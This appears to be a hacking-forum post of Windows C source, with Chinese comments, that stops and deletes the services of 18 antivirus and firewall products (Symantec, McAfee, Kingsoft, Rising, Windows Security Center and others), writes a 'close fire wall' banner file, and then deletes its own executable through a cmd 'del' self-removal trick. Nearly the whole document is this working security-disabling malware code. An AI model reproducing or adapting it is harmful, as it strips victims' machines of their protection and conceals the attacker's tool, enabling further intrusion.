///////////会延迟很一个窗口!我已经尽量用多线程,提高了速度
//////////可还是会闪一个窗口,高手请指教。。。。
#include <windows.h>
#include <tchar.h>
#include <shlobj.h>
#include <stdio.h>
#include <process.h>/////// _begintheadex();
#pragma comment(lib, \"Shell32.lib\")
#define ERROR_RET 1
#define ERROR_SUC 0
#define COMSPEC TEXT(\"COMSPEC\")
#define ARGS_PREX TEXT(\" /c del \")
#define ARGS_ERR_REDIR TEXT(\" >NUL\")
int i;
char name[18][25]={
\"RsCCenter\",
\"KVSrvXP\",
\"kavsvc\",
\"KPfwSvc\",
\"KWatchSvc\",
\"wscsvc\",
\"SNDSrvc\",
\"ccProxy\",
\"ccEvtMgr\",
\"ccSetMgr\",
\"SPBBCSvc\",
\"Symantec Core LC\",
\"navapsvc\",
\"NPFMntor\",
\"MskService\",
\"McTaskManager\",
\"McShield\",
\"McAfeeFramework\"
};
///////////////////////////
/////////从asm大哥那儿翻译过来的!谢了先!
DWORD remove(LPVOID s)
{ SC_HANDLE service ,scm;
BOOL success;
SERVICE_STATUS status ;
///////starting connect
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
{
/// printf(\"OpenSCManager Error\n\");
}
////////////////////兄弟们呀,下面的s 一定要用转化呀
service=OpenService(scm,(char*)s,SERVICE_ALL_ACCESS|DELETE);
if(!service)
{
/// printf(\"OpenService error!\n\");
}
success=QueryServiceStatus(service,&status);
if (!success)
{
//// printf(\"QueryServiceStatus error!\n\");
}
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
success=ControlService(service,SERVICE_CONTROL_STOP,&status);
if (!success )
{
/// printf(\"failed!!\n\");
}
Sleep(50);
}
if( success=DeleteService(service))
printf(\"remove success!\n\");
else
printf(\"remove failed!!\n\");
CloseServiceHandle(service);
CloseServiceHandle(scm);
return NULL;
}
int main(int argc, char** argv)
{
char version[]=\"***************close fire wall****************\n***************[url]www.eviloctal.com[/url]**************\n***************code by uncledo****************\n***************[email]uncledo@163.com[/email] ***************\n\";
char newname[]=\"evilocta.txt\";
FILE *pfile=fopen(newname,\"w\");
fprintf(pfile,\"%s\",version);
//////fprintf(pfile, \"%s firewall removed\n\",*(char*)s);
///////////多线程
HANDLE thd[18];
DWORD tid;
////为了在Visual C++ 6 IDE中使用多线程库,首先要激活“Project | Settings”属性页。
////然后选择“C/C++”选项卡。接着在“Category”下拉列表框中选择“Code Generation”,
////然后在“Use Runtime Library ”下拉列表框中选择“Multithreaded”/
for(i=0;i<18;i++)
{thd[i]=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)remove,//////////////////
&name[i][25],
0,
&tid);
Sleep(50);///验证线程!
}
fclose(pfile);
/////////////自删除代码用的是jozu 大哥的,先谢过了!!
TCHAR szModuleName[MAX_PATH] = { 0 };
TCHAR szCommand[MAX_PATH] = { 0 };
TCHAR szParams[MAX_PATH] = { 0 };
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if(!GetModuleFileName(NULL, szModuleName, MAX_PATH))
return ERROR_RET;
if(!GetShortPathName(szModuleName, szModuleName, MAX_PATH))
return ERROR_RET;
if(!GetEnvironmentVariable(COMSPEC, szCommand, MAX_PATH))
return ERROR_RET;
_tcscat(szCommand, ARGS_PREX);
_tcscat(szCommand, szModuleName);
_tcscat(szCommand, ARGS_ERR_REDIR);
if(SetPriorityClass(GetCurrentProcess(),
REALTIME_PRIORITY_CLASS))
{
if(SetThreadPriority(GetCurrentThread(),
THREAD_PRIORITY_TIME_CRITICAL))
{
//
if(CreateProcess(NULL,
szCommand,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
SetPriorityClass(pi.hProcess,
IDLE_PRIORITY_CLASS);
SetProcessPriorityBoost(pi.hProcess,
TRUE);
SHChangeNotify(SHCNE_DELETE,
SHCNF_PATH,
szModuleName,
NULL);
return TRUE;
}
}
else
{
SetPriorityClass(GetCurrentProcess(),
NORMAL_PRIORITY_CLASS);
}
}
return ERROR_RET;
}